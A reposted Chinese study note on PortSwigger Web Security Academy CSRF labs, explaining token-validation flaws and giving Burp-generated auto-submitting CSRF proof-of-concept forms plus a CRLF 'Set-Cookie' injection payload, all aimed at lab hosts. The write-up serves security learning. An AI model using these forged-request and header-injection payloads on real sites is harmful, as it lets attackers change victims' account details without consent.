PostSwigger Web 安全學習:CSRF漏洞3

CSRF 漏洞學習網站:What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

CSRF Token 基本原理

CSRF Token 是服務端生成的唯一、隨機且不可預測的字符串,用于驗證客戶端合法校驗。

作用:防止攻擊者偽造用戶身份執行敏感操作(修改密碼、轉賬)。

傳輸方式:

  • 將 CSRF Token 作為隱藏參數包含在 HTML 表單中:

<form name="change-email-form" action="/my-account/change-email" method="POST"><label>Email</label><input required type="email" name="email" value="example@normal-website.com"><input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u"><button class='button' type='submit'> Update email </button>
</form>
?
提交時數據包:
POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
?
csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&email=example@normal-website.com
?
?
# 每當用戶刷新頁面,服務端返回的嵌入在 HTML 里的 CSRF Token 都不一樣,確保他的唯一性。
# 在這種情況下,用戶構造表單時,構造不出 CSRF Token 的選項,導致攻擊失效。
  • 將 CSRF Token 作為請求頭。

我們有時候在靶場爆破時,經常會看見 POST 參數里有一個 CSRF Token,但我們通常會直接忽略它直接進行爆破。因為 CSRF Token 通常不是發一次請求包刷新一次,通常是刷新一次頁面刷新一次 CSRF Token。然而爆破的過程中不存在刷新頁面得行為,所以 CSRF Token 保持不變就能驗證成功。

CSRF Token 驗證缺陷

CSRF 漏洞通常由于 CSRF 令牌驗證存在缺陷而導致的。

實驗:CSRF Token 的校驗取決于請求方法

有些應用程序 POST 方式和 GET 方式都支持。且只有 POST 時,才出現 CSRF Token。

操作:利用 GET 方式繞過 CSRF Token 校驗。

這里有實驗環境,我沒有貼出來。

實驗:CSRF Token 的校驗取決于參數是否存在

如果 CSRF Token 相關參數不存在,后端直接忽略 CSRF 校驗。

操作:直接刪掉整個 CSRF Token 相關參數。

這里有實驗環境,我沒有貼出來。

實驗:CSRF Token 沒有綁定到用戶會話

系統維護了一個全局有效的令牌池,在這個令牌池中的所有令牌都可用于驗證任何頁面。當用戶攜帶 CSRF Token 訪問頁面時,僅驗證 CSRF Token 是否存在于這個令牌池中,而不驗證令牌是否屬于當前用戶會話。

操作:受害者利用攻擊者的 CSRF Token 訪問敏感操作頁面。

案例:假設 wiener 是攻擊者,carlos 是受害者。

  1. 由于 CSRF Token 是一次性的,所以刷新一次就生成一次 CSRF Token。

  1. 不要點擊 Update email 按鈕或刷新,導致一次性 CSRF Token 被使用后被銷毀。

  2. 制作 payload,并放在攻擊者服務器:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0a0500a3044f74e280b66795005c0027.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos&#64;anormal&#45;user&#46;net" /><input type="hidden" name="csrf" value="iENIDy1zjL1bGlnSkTPkzj0qJqZWJNVb" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>
  1. 另一個瀏覽器登錄 carlos 后,訪問攻擊者服務器,發現跳轉到如下頁面。

carlos 使用 wiener 的 CSRF Token:iENIDy1zjL1bGlnSkTPkzj0qJqZWJNVb 修改了郵件地址。

實驗:CSRF Token 與非會話 Cookie 綁定

某些情況下,可用戶 CSRF Token 綁定的并不是 Cookie 中的會話,而可能是一個其他值(如 Cookie 中的 CSRF Key)。當 Web 應用程序使用不同框架時(例如 Session 由 A 框架管理,而 CSRF Token 由框架 B 管理),這種情況下,很容易發生 CSRF Token 綁定的不是用戶 Session,而是由框架 B 生成的其他值(如:CSRF Key)。

操作:受害者利用攻擊者提供的 CSRF Key 和 CSRF Token 訪問敏感操作頁面。

案例:假設 wiener 是攻擊者,carlos 是受害者。

  1. 登錄 wiener 賬戶,抓包獲取到 CSRF Key 和 CSRF Token。

csrfKey=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB
value=QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0
  1. 不要點擊 Update email 按鈕或刷新,導致一次性 CSRF Token 被使用后被銷毀。

  2. 制作 payload,執行如下操作。

    • 第一次 CSRF 攻擊結合 CRLF 漏洞:將 Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB 設置為受害者 Cookie 中的 csrfKey。

    • 第二次 CSRF 攻擊:利用 QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0 的 CSRF Token 訪問敏感操作頁面。

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos&#64;a&#45;montoya&#46;net" /><input type="hidden" name="csrf" value="QTazbIFt8aQFvTqtfDAzEfTLOT6cD6g0" /><input type="submit" value="Submit request" /></form><!-- 利用此網站沒有 CSRF Token 保護的頁面注入 CSRF Key(第一次 CSRF 攻擊),之后提交表單(第二次 CSRF 攻擊) --><img src="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None" οnerrοr="document.forms[0].submit()"></body>
</html>
  1. 另一個瀏覽器登錄 carlos 后,訪問攻擊者服務器。

實驗:CSRF Token 只在 Cookie 中復制(雙重提交場景)

雙重提交:

服務端生成 CSRF Token 后,將 Token 存儲在 Cookie 中(如:csrf=CSRF Token),同時將 CSRF_Token 嵌入表單中。

校驗 CSRF Token 時,僅判斷 Cookie 中的 CSRF Token 和 表單提交的 CSRF Token 是否一致,不驗證令牌是否由服務端生成或是否有效。

操作:受害者利用攻擊者生成任意 CSRF Token 訪問敏感頁面。

案例:

  1. 制作 payload,執行如下操作。

    • 隨意生成一個 CSRF Token。

    • 第一次 CSRF 攻擊結合 CRLF 漏洞:將生成的 CSRF Token 設置為受害者的 Cookie 中的 CSRF。

    • 第二次 CSRF 攻擊:利用 CSRF Token 作為參數訪問敏感操作頁面。

    • CSRF Token 驗證:僅僅驗證 Cookie 中的 CSRF Token 和 表單提交的 CSRF Token 是否一致。

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="carlos&#64;a&#45;montoya&#46;net" /><input type="hidden" name="csrf" value="Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB" /><input type="submit" value="Submit request" /></form><!-- 利用此網站沒有 CSRF Token 保護的頁面注入 CSRF Key(第一次 CSRF 攻擊),之后提交表單(第二次 CSRF 攻擊) --><img src="https://0aed003603a840fa80c8031c003b0014.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None" οnerrοr="document.forms[0].submit()"></body>
</html>
"CSRF Token 與非會話 Cookie 綁定" 和 "CSRF Token 只在 Cookie 中復制(雙重提交場景)" 這兩個場景使用到了 CRLF 注入漏洞
get 參數:test%0d%0aSet-Cookie:%20csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB%3b%20SameSite=None
?
CRLF 注入后的 get 參數,導致 Set-Cookie 被當作請求頭解析:
test\r\n
Set-Cookie: csrf=Zs1bhmXpaCabAPQZ6yuzpOraV1say5tB; SameSite=None

如上圖,左側請求中間響應,右側 CRLF 注入后的參數。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/77504.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/77504.shtml
英文地址,請注明出處:http://en.pswp.cn/web/77504.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

用 Nodemon 解決 npm run serve 頻繁重啟服務

Nodemon 是一個基于 Node.js 構建的開發工具&#xff0c;專為幫助開發者自動監控項目文件的更改而設計。每當文件發生變更時&#xff0c;Nodemon 會自動重啟 Node.js 服務器&#xff0c;無需手動停止并重啟。這對于提升開發速度、減少人工操作非常有幫助&#xff0c;尤其適用于…

django admin 中更新表數據 之后再將數據返回管理界面

在Django中&#xff0c;更新數據庫中的數據并將其重新顯示在Django Admin界面上通常涉及到幾個步驟。這里我將詳細說明如何在Django Admin中更新表數據&#xff0c;并確保更新后的數據能夠立即在管理界面上顯示。 定義模型 首先&#xff0c;確保你的模型&#xff08;Model&…

真.從“零”搞 VSCode+STM32CubeMx+C <1>構建

目錄 前言 準備工作 創建STM32CubeMx項目 VSCode導入項目&配置 構建錯誤調試 后記 前言 去年10月開始接觸單片機&#xff0c;一直在用樹莓派的Pico&#xff0c;之前一直用Micropython&#xff0c;玩的不亦樂乎&#xff0c;試錯階段優勢明顯&#xff0c;很快就能鼓搗一…

C語言學習之結構體

在C語言中&#xff0c;我們已經學了好幾種類型的數據。比如整型int、char、short等&#xff0c;浮點型double、float等。但是這些都是基本數據類型&#xff0c;而這些數據類型應用在實際編程里顯然是不夠用的。比如我們沒有辦法用一旦數據類型來定義一個”人“的屬性。因此這里…

架構-計算機系統基礎

計算機系統基礎 一、計算機系統組成 &#xff08;一&#xff09;計算機系統層次結構 硬件組成 主機&#xff1a;包含CPU&#xff08;運算器控制器&#xff09;、主存儲器&#xff08;內存&#xff09;。外設&#xff1a;輸入設備、輸出設備、輔助存儲器&#xff08;外存&…

【計算機網絡性能優化】從基礎理論到實戰調優

目錄 前言技術背景與價值當前技術痛點解決方案概述目標讀者說明 一、技術原理剖析核心概念圖解核心作用講解關鍵技術模塊說明技術選型對比 二、實戰演示環境配置要求核心代碼實現案例1&#xff1a;iPerf3帶寬測試案例2&#xff1a;TCP窗口優化案例3&#xff1a;QoS流量整形 運行…

Python 自動化辦公:Excel 數據處理的“秘密武器”

引言 在日常的 IT 辦公場景里&#xff0c;Excel 是數據處理與分析的 “常勝將軍”。無論是財務人員整理賬目、銷售團隊統計業績&#xff0c;還是運營人員分析用戶數據&#xff0c;Excel 都發揮著關鍵作用。但面對海量數據&#xff0c;手動操作 Excel 不僅效率低下&#xff0c;還…

緩存集群技術深度解析:從原理到實戰

緩存集群技術深度解析&#xff1a;從原理到實戰 一、緩存集群核心定位與架構選型 1. 集群模式核心價值 緩存集群通過數據分片、高可用保障、水平擴展解決單節點瓶頸&#xff0c;核心能力包括&#xff1a; 數據分片&#xff1a;將數據分散到多個節點&#xff0c;突破單節點內…

CSDN編輯文章時如何自動生成目錄

如何自動生成目錄 前置條件1. 插入目錄標識符2. 編寫標題層級 前置條件 需要使用markdown編輯&#xff0c;并且只有按照markdown語法編寫不同的標題級別&#xff0c;才能使用這個方法自動生成對應的目錄。 1. 插入目錄標識符 在文章的頂部添加以下代碼&#xff1a; [TOC](文…

產品經理對于電商接口的梳理||電商接口文檔梳理與接入

接口梳理7個注意點總結 ①注意要測試環境和生產環境。生產上線時候要提醒研發換到生產環境調用。 ②注意必輸字段和選輸字段&#xff0c;要傳入字段的含義和校驗。枚舉值不清楚含義的要詢問對方含義&#xff0c;比如說單據類型字段枚舉值是B2C發貨單&#xff0c;BBC發貨單&am…

更快的圖像局部修改與可控生成:Flex.2-preview

Flex.2-preview 文本生成圖像擴散模型介紹 一、模型簡介 Flex.2-preview 是一種 開源的 80 億參數文本生成圖像擴散模型&#xff0c;具備通用控制和修復支持功能&#xff0c;是 Flex.1alpha 的下一代版本。該模型由社區開發并為社區服務&#xff0c;采用 Apache 2.0 許可證&a…

【Castle-X機器人】一、模塊安裝與調試:機器人底盤

持續更新。。。。。。。。。。。。。。。 【ROS機器人】模塊安裝 一、Castle-X機器人底盤1.1 結構概述1.2 驅動執行結構1.3 環境傳感器1.4 電氣系統1.5 Castle-x機器人底盤測試激光雷達傳感器測試及數據可視化超聲波傳感器實時數據獲取防跌落傳感器測試陀螺儀測試鍵盤控制測試…

條件、列表渲染.

#### v-for 1. 渲染列表 vue <template> <ul v-for"(item,index) in list" > <li>{{ item }}</li> </ul> </template> <script setup> import { ref } from vue; let list ref([蘋果, 香蕉, 橙子]) </script>…

node20的安裝和vue的入門準備

一、node20的安裝 直接下載路徑&#xff1a;https://nodejs.org/download/release/v20.11.0/node-v20.11.0-x64.msi 安裝&#xff0c;雙擊msi文件 點擊同意協議 更改下載路徑 什么也不用選&#xff0c;點擊next進行下一步 什么也不用選&#xff0c;點擊next進行下一步 點擊安…

從 Java 到 Kotlin:在現有項目中遷移的最佳實踐!

全文目錄&#xff1a; 開篇語 1. 為什么選擇 Kotlin&#xff1f;1.1 Kotlin 與 Java 的兼容性1.2 Kotlin 的優勢1.3 Kotlin 的挑戰 2. Kotlin 遷移最佳實踐2.1 漸進式遷移2.1.1 步驟一&#xff1a;將 Kotlin 集成到現有的構建工具中2.1.2 步驟二&#xff1a;逐步遷移2.1.3 步驟…

威雅利電子|業界領先的高隔離度用于5G基站的吸收式SPDT開關“NT1819“

業界領先的高隔離度 用于5G基站的吸收式SPDT開關"NT1819" 為了實現智能社會&#xff0c;已經啟動了5G服務。這樣&#xff0c;高速、低延遲、大容量的數據通信成為可能&#xff0c;也給我們的生活和工業發展帶來了巨大的變化。 在5G基站有很多天線&#xff0c;每個天…

Diamond軟件的使用--(6)訪問FPGA的專用SPI接口

1.什么是FPGA的專用SPI接口&#xff1f; 此處的SPI FLASH接口即為FPGA的專用SPI接口&#xff0c;上電時&#xff0c;FPGA從該FLASH讀出程序并運行。 2.訪問SPI PROM需要注意哪些地方&#xff1f; 1&#xff09;處于MASTER SPI MODE 2&#xff09;調用USRMCLK原語&#xff0c;…

Go 語言中的 `select` 語句詳解

select 是 Go 語言中處理通道(Channel)操作的一個強大控制結構&#xff0c;它允許 goroutine 同時等待多個通道操作。下面我將全面詳細地解釋 select 語句的各個方面。 基本語法 select 語句的基本語法如下&#xff1a; select { case <-ch1:// 如果從 ch1 成功接收數據&…

AI如何重塑CC防護行業?五大變革與實戰策略解析

一、CC防護行業的技術痛點與AI的破局方向 CC攻擊&#xff08;Challenge Collapsar&#xff09;作為一種以高頻合法請求消耗服務器資源的DDoS攻擊手段&#xff0c;傳統防護技術面臨三大核心挑戰&#xff1a; 規則依賴性強&#xff1a;基于IP封禁或請求頻率的靜態規則易被繞過&a…

GPT-4o最新圖像生成完全指南:10大應用場景與提示詞模板

引言 OpenAI于近期推出的全新GPT-4o圖像生成功能&#xff0c;代表了AI圖像創作領域的重大突破。作為一個原生多模態系統&#xff0c;GPT-4o將文本理解和圖像生成無縫整合&#xff0c;為創作者、教育工作者和專業人士提供了前所未有的視覺創作靈活性。本文將分享10個GPT-4o圖像…